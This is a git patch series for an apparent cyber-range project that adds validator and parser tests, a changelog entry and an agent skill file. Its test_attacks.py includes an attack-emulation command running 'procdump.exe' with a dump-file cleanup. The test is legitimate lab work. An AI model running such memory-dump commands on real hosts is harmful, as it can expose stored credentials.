with pytest.raises(SDLParseError, match="Switch nodes cannot have VM-only fields"): parse_sdl(sdl) + @pytest.mark.parametrize( + "field_name", + [ + "nodes.vm.type", + "features.svc.type", + "content.seed.type", + "metrics.m1.type", + "relationships.r1.type", + "variables.v1.type", + ], + ) + def test_discriminant_enums_reject_placeholders(self, field_name): + sdl_by_field = { + "nodes.vm.type": """ +name: test +nodes: + vm: + type: ${node_type} +""", + "features.svc.type": """ +name: test +features: + svc: + type: ${feature_type} +""", + "content.seed.type": """ +name: test +nodes: + vm: + type: vm + resources: {ram: 1 gib, cpu: 1} +content: + seed: + type: ${content_type} + target: vm +""", + "metrics.m1.type": """ +name: test +metrics: + m1: + type: ${metric_type} + max-score: 100 +""", + "relationships.r1.type": """ +name: test +nodes: + vm: + type: vm + resources: {ram: 1 gib, cpu: 1} +relationships: + r1: + type: ${relationship_type} + source: vm + target: vm +""", + "variables.v1.type": """ +name: test +variables: + v1: + type: ${variable_type} + default: hello +""", + } + with pytest.raises(SDLParseError): + parse_sdl(sdl_by_field[field_name], skip_semantic_validation=True) + @pytest.mark.parametrize( ("sdl", "message"), [ diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index a6b58848e..8e3b5ebeb 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -520,6 +520,57 @@ def test_relationship_can_target_content_item_name(self): errors = _validate(s) assert not errors + def test_relationship_rejects_ambiguous_bare_ref(self): + s = _make_scenario( + nodes={"web": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + features={"web": {"type": "service", "source": {"name": "nginx"}}}, + relationships={"r1": {"type": "connects_to", "source": "web", "target": "web"}}, + ) + errors = _validate(s) + assert any("source 'web' is ambiguous" in e for e in errors) + assert any("nodes.web" in e and "features.web" in e for e in errors) + + def test_relationship_accepts_section_qualified_refs(self): + s = _make_scenario( + nodes={"web": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + features={"web": {"type": "service", "source": {"name": "nginx"}}}, + relationships={ + "r1": { + "type": "depends_on", + "source": "features.web", + "target": "nodes.web", + } + }, + ) + errors = _validate(s) + assert not errors + + def test_relationship_accepts_qualified_content_item_ref(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + content={ + "dataset-a": { + "type": "dataset", + "target": "vm", + "items": [{"name": "shared"}], + }, + "dataset-b": { + "type": "dataset", + "target": "vm", + "items": [{"name": "shared"}], + }, + }, + relationships={ + "r1": { + "type": "connects_to", + "source": "content.dataset-a.items.shared", + "target": "nodes.vm", + }, + }, + ) + errors = _validate(s) + assert not errors + class TestVerifyAgents: def test_undefined_entity(self): @@ -778,6 +829,74 @@ def test_target_must_resolve(self): errors = _validate(s) assert any("defined targetable element" in e for e in errors) + def test_target_rejects_ambiguous_bare_ref(self): + kwargs = self._base_kwargs() + kwargs["features"] = {"web": {"type": "service", "source": {"name": "nginx"}}} + s = _make_scenario( + **kwargs, + objectives={ + "obj-1": { + "agent": "red-agent", + "targets": ["web"], + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert any("target 'web' is ambiguous" in e for e in errors) + assert any("nodes.web" in e and "features.web" in e for e in errors) + + def test_targets_accept_section_qualified_refs(self): + kwargs = self._base_kwargs() + s = _make_scenario( + **kwargs, + objectives={ + "obj-1": { + "agent": "red-agent", + "targets": ["nodes.web", "infrastructure.net"], + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert not errors + + def test_targets_can_reference_named_services_and_acls(self): + kwargs = self._base_kwargs() + kwargs["nodes"]["web"]["services"] = [{"port": 443, "name": "web-https"}] + kwargs["infrastructure"]["net"]["acls"] = [ + { + "name": "allow-admin", + "direction": "in", + "from_net": "net", + "protocol": "tcp", + "ports": [443], + "action": "allow", + } + ] + s = _make_scenario( + **kwargs, + objectives={ + "obj-1": { + "agent": "red-agent", + "targets": [ + "nodes.web.services.web-https", + "infrastructure.net.acls.allow-admin", + ], + "success": {"goals": ["pass-exercise"]}, + }, + }, + relationships={ + "r1": { + "type": "connects_to", + "source": "nodes.web.services.web-https", + "target": "infrastructure.net.acls.allow-admin", + }, + }, + ) + errors = _validate(s) + assert not errors + def test_success_references_must_exist(self): s = _make_scenario( **self._base_kwargs(), @@ -829,6 +948,61 @@ def test_dependency_cycle_rejected(self): errors = _validate(s) assert any("Objective dependency graph contains a cycle" in e for e in errors) + def test_window_steps_require_workflows(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", + "success": {"goals": ["pass-exercise"]}, + "window": {"steps": ["response.validate"]}, + }, + }, + ) + errors = _validate(s) + assert any("window steps require at least one referenced workflow" in e for e in errors) + + def test_window_steps_must_belong_to_workflow(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", + "success": {"goals": ["pass-exercise"]}, + "window": { + "workflows": ["response"], + "steps": ["other.validate"], + }, + }, + }, + workflows={ + "response": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "obj-1", + "next": "finish", + }, + "finish": {"type": "end"}, + }, + }, + "other": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "obj-1", + "next": "finish", + }, + "finish": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert any("is not part of the referenced workflows" in e for e in errors) + def test_valid_objective(self): s = _make_scenario( **self._base_kwargs(), @@ -855,6 +1029,180 @@ def test_valid_objective(self): assert not errors +class TestVerifyWorkflows: + def _base_kwargs(self) -> dict: + return { + "entities": {"blue": {"role": "blue"}}, + "metrics": { + "report-quality": { + "type": "manual", + "max_score": 100, + }, + }, + "evaluations": { + "overall": { + "metrics": ["report-quality"], + "min_score": {"percentage": 50}, + }, + }, + "tlos": {"ops-ready": {"evaluation": "overall"}}, + "goals": {"pass-exercise": {"tlos": ["ops-ready"]}}, + "objectives": { + "validate-release": { + "entity": "blue", + "success": {"goals": ["pass-exercise"]}, + }, + "rollback-edge": { + "entity": "blue", + "success": {"metrics": ["report-quality"]}, + }, + }, + } + + def test_workflow_references_undefined_objective(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "missing-objective", + "next": "finish", + }, + "finish": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert any("references undefined objective" in e for e in errors) + + def test_workflow_missing_start_step(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "validate", + "steps": { + "finish": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert any("start step 'validate' is not defined" in e for e in errors) + + def test_workflow_cycle_rejected(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "validate-release", + "next": "branch", + }, + "branch": { + "type": "parallel", + "branches": ["validate"], + }, + }, + }, + }, + ) + errors = _validate(s) + assert any("graph contains a cycle" in e for e in errors) + + def test_workflow_unreachable_step_rejected(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "validate-release", + "next": "finish", + }, + "finish": {"type": "end"}, + "orphan": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert any("contains unreachable steps: orphan" in e for e in errors) + + def test_parallel_branch_reference_must_exist(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "fanout", + "steps": { + "fanout": { + "type": "parallel", + "branches": ["rollback-edge", "missing-step"], + "next": "finish", + }, + "rollback-edge": { + "type": "objective", + "objective": "rollback-edge", + "next": "finish", + }, + "finish": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert any("branch 'missing-step' is not defined" in e for e in errors) + + def test_valid_workflow(self): + s = _make_scenario( + **self._base_kwargs(), + workflows={ + "response": { + "start": "validate", + "steps": { + "validate": { + "type": "objective", + "objective": "validate-release", + "next": "branch", + }, + "branch": { + "type": "if", + "when": {"objectives": ["validate-release"]}, + "then": "fanout", + "else": "finish", + }, + "fanout": { + "type": "parallel", + "branches": ["rollback", "confirm"], + "next": "finish", + }, + "rollback": { + "type": "objective", + "objective": "rollback-edge", + }, + "confirm": { + "type": "objective", + "objective": "validate-release", + }, + "finish": {"type": "end"}, + }, + }, + }, + ) + errors = _validate(s) + assert not errors + + class TestVerifyVariables: def test_defined_variables_allow_placeholders_across_models(self): s = _make_scenario( From a38f2431d83298de0046587a21490c5563248e62 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 21:59:31 -0700 Subject: [PATCH 14/15] SDL review fixes --- CHANGELOG.md | 13 +++++++++ .../adr-014-scenario-description-language.md | 2 +- src/aptl/core/sdl/nodes.py | 27 ------------------- src/aptl/core/sdl/parser.py | 3 ++- src/aptl/core/sdl/validator.py | 14 +++++----- tests/test_attacks.py | 14 ++++++++++ tests/test_sdl_models.py | 13 --------- tests/test_sdl_parser.py | 2 +- 8 files changed, 37 insertions(+), 51 deletions(-) create mode 100644 tests/test_attacks.py diff --git a/CHANGELOG.md b/CHANGELOG.md index aeeaf19ea..5dafabc2c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,19 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [6.0.1] - 2026-03-29 + +### Fixed + +- SDL parser now catches `pydantic.ValidationError` instead of bare `Exception`, so implementation bugs propagate as real errors instead of masquerading as parse failures +- Removed dead `VM` and `Switch` classes from `nodes.py` — the unified `Node` class with type discrimination replaced them +- Validator node-name-length check now uses the `MAX_NODE_NAME_LENGTH` constant instead of a hardcoded `35` +- Replaced `list.pop(0)` with `deque.popleft()` in topological sort for O(1) per operation +- Removed redundant `_all_entity_names()` update since `flatten_entities` already includes top-level keys +- Fixed overly permissive assertion in `test_hyphenated_keys` — now pins the expected preserved-key behavior +- Moved `TestPlatformCommand` from `test_sdl_models.py` to `tests/test_attacks.py` since `PlatformCommand` lives in `aptl.core.attacks`, not the SDL package +- Corrected ADR-014 file count from 24 to 21 (reflecting compat.py/defenses.py/attacks.py removal in 6.0.0) + ## [6.0.0] - 2026-03-29 ### Changed diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md index efe536614..0710a296a 100644 --- a/docs/adrs/adr-014-scenario-description-language.md +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -76,7 +76,7 @@ None by design. This branch establishes an SDL-only boundary: ### Negative -- 24 source files in `aptl.core.sdl/` — significant surface area +- 21 source files in `aptl.core.sdl/` — significant surface area - Variables (`${var}`) are still unresolved at parse time; existence is checked, but backend substitution semantics remain future work - Existing APTL scenario YAMLs require migration to SDL format - No module composition system yet (Terraform-style imports) diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py index f4d1efd5f..ce6b69f05 100644 --- a/src/aptl/core/sdl/nodes.py +++ b/src/aptl/core/sdl/nodes.py @@ -108,27 +108,6 @@ class Role(SDLModel): entities: list[str] = Field(default_factory=list) -class VM(SDLModel): - """Virtual machine configuration.""" - - source: Optional[Source] = None - resources: Resources - features: dict[str, str] = Field( - default_factory=dict, - description="Feature name -> role name mapping", - ) - conditions: dict[str, str] = Field( - default_factory=dict, - description="Condition name -> role name mapping", - ) - injects: dict[str, str] = Field( - default_factory=dict, - description="Inject name -> role name mapping", - ) - vulnerabilities: list[str] = Field(default_factory=list) - roles: dict[str, Role] = Field(default_factory=dict) - - class OSFamily(str, Enum): """Operating system family. Vocabulary from OCSF Device.os.""" @@ -188,12 +167,6 @@ def parse_port_value(cls, v: int | str) -> int | str: return parse_int_or_var(v, minimum=1, maximum=65535, field_name="port") -class Switch(SDLModel): - """Network switch — a pure connectivity node with no compute.""" - - pass - - class Node(SDLModel): """A scenario node — either a VM or a Switch. diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index a9de6294d..67bfd317e 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -10,6 +10,7 @@ from typing import Any import yaml +from pydantic import ValidationError from aptl.core.sdl._errors import SDLParseError, SDLValidationError from aptl.core.sdl._base import is_variable_ref @@ -286,7 +287,7 @@ def parse_sdl( # Construct the Pydantic model (structural validation) try: scenario = Scenario(**data) - except Exception as e: + except ValidationError as e: raise SDLParseError(str(e), path=path) from e # Semantic validation diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 65bb0094a..6588ac3d6 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -6,7 +6,7 @@ the first one. """ -from collections import defaultdict +from collections import defaultdict, deque from ipaddress import ip_address, ip_network from pydantic import BaseModel @@ -15,7 +15,7 @@ from aptl.core.sdl._base import extract_variable_name, is_variable_ref from aptl.core.sdl.entities import flatten_entities from aptl.core.sdl.infrastructure import SimpleProperties -from aptl.core.sdl.nodes import NodeType +from aptl.core.sdl.nodes import MAX_NODE_NAME_LENGTH, NodeType from aptl.core.sdl.orchestration import WorkflowStepType from aptl.core.sdl.scenario import Scenario from aptl.core.sdl.scoring import MetricType @@ -30,11 +30,11 @@ def _topological_sort(graph: dict[str, list[str]]) -> list[str] | None: for dep in deps: in_degree[dep] += 1 - queue = [n for n, d in in_degree.items() if d == 0] + queue = deque(n for n, d in in_degree.items() if d == 0) order: list[str] = [] while queue: - node = queue.pop(0) + node = queue.popleft() order.append(node) for dep in graph.get(node, []): in_degree[dep] -= 1 @@ -76,9 +76,7 @@ def _is_vm_node(self, node_name: str) -> bool: return self._node_type(node_name) == NodeType.VM def _all_entity_names(self) -> set[str]: - names = set(flatten_entities(self._s.entities).keys()) - names.update(self._s.entities.keys()) - return names + return set(flatten_entities(self._s.entities).keys()) def _qualified_service_refs(self) -> set[str]: refs: set[str] = set() @@ -269,7 +267,7 @@ def _warn_missing_vm_resources(self) -> None: def _verify_nodes(self) -> None: for name, node in self._s.nodes.items(): - if len(name) > 35: + if len(name) > MAX_NODE_NAME_LENGTH: self._err(f"Node '{name}' name exceeds 35 characters") for feat_name, role_name in node.features.items(): diff --git a/tests/test_attacks.py b/tests/test_attacks.py new file mode 100644 index 000000000..1027148e3 --- /dev/null +++ b/tests/test_attacks.py @@ -0,0 +1,14 @@ +"""Tests for attack models (aptl.core.attacks).""" + +from aptl.core.attacks import PlatformCommand + + +class TestPlatformCommand: + def test_basic(self): + pc = PlatformCommand(command="whoami") + assert pc.shell == "sh" + assert pc.cleanup == "" + + def test_with_cleanup(self): + pc = PlatformCommand(shell="psh", command="procdump.exe", cleanup="del dump.bin") + assert pc.cleanup == "del dump.bin" diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index b97cd822f..f31cc8d68 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -777,19 +777,6 @@ def test_placeholder(self): assert sp.port == "${service_port}" -class TestPlatformCommand: - def test_basic(self): - from aptl.core.attacks import PlatformCommand - pc = PlatformCommand(command="whoami") - assert pc.shell == "sh" - assert pc.cleanup == "" - - def test_with_cleanup(self): - from aptl.core.attacks import PlatformCommand - pc = PlatformCommand(shell="psh", command="procdump.exe", cleanup="del dump.bin") - assert pc.cleanup == "del dump.bin" - - class TestConditionExtensions: def test_timeout_and_retries(self): from aptl.core.sdl.conditions import Condition diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index 8b3060cd4..9fb2c2cbd 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -34,7 +34,7 @@ def test_hyphenated_keys(self): count: 1 """ s = parse_sdl(sdl) - assert "vm_1" in s.nodes or "vm-1" in s.nodes + assert "vm-1" in s.nodes def test_integer_keys_preserved(self): """YAML can have integer keys (e.g., in step numbers).""" From 294b8a25edf19d1a9cac8414839a2581fdf50ed1 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 22:09:22 -0700 Subject: [PATCH 15/15] Update implement skill --- .claude/skills/implement/SKILL.md | 33 ++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/.claude/skills/implement/SKILL.md b/.claude/skills/implement/SKILL.md index 4c2ec12ec..00da4f5a0 100644 --- a/.claude/skills/implement/SKILL.md +++ b/.claude/skills/implement/SKILL.md @@ -1,6 +1,6 @@ --- name: implement -description: Assess and implement a Ground Control requirement, ensuring GitHub issue and traceability links exist +description: Assess and implement a requirement stored in Ground Control, ensuring GitHub issue and traceability links exist argument-hint: disable-model-invocation: true --- @@ -38,8 +38,27 @@ Explore the codebase to determine whether the requirement described in the issue - **If the requirement is NOT yet met**: Plan the implementation. Identify which files need to be created or modified, what tests to write, and what approach to take. Enter plan mode. - Your plans must respect the coding standards and classification levels in ADR-012. - Plans must include updating the changelog, readme, and docs as appropriate. +- If designing code, remember to build off existing cross-cutting concerns, code, and patterns +- Good code is readable, maintainable, and follows the coding standards +- Address the concerns a FAANG L6+ engineer would have around security, performance, reliability, and scalability +- Avoid reinventing the wheel - use existing libraries and frameworks where appropriate +- Code should be easy to understand, test, and maintain. Simple is better than complex. - **If the requirement IS already met**: Report that the requirement is satisfied and identify which code satisfies it. +## Step 4.5: Clause-by-Clause Verification + +Before declaring implementation complete: +1. Re-read the requirement statement from Step 1. +2. Break it into individual clauses and acceptance criteria. +3. For EACH clause, identify the specific code (file:line) that satisfies it. +4. If any clause is not satisfied, go back and implement it before proceeding. + +Present the mapping as a checklist: +- [ ] Clause: "..." → Satisfied by: file.java:line +- [ ] Clause: "..." → Satisfied by: file.java:line + +Do not proceed to Step 5 until every clause is checked off. + ## Step 5: Ensure Traceability Links After implementation is complete (or if already implemented): @@ -50,3 +69,15 @@ After implementation is complete (or if already implemented): - use the `gc_transition_status` MCP tool to transition the requirement to `ACTIVE` if it was `DRAFT`. Do not update the Changelog if all you did was operate Ground Control tools. + +## Step 6: Completion Gate + +Implementation is NOT complete until ALL of the following are verified: + +1. **`make check` passes** — run it and confirm BUILD SUCCESSFUL. +2. **CHANGELOG.md updated** — verify it is in `git diff --name-only` if any source files changed. +3. **Traceability links exist** — re-fetch with `gc_get_traceability` and confirm IMPLEMENTS and TESTS links are present. +4. **Requirement status is ACTIVE** — re-fetch with `gc_get_requirement` and confirm status. +5. **Step 4.5 clause mapping was completed** — if you skipped it, go back and do it now. + +If any check fails, fix it before reporting completion. Do NOT report the implementation as done until every check passes.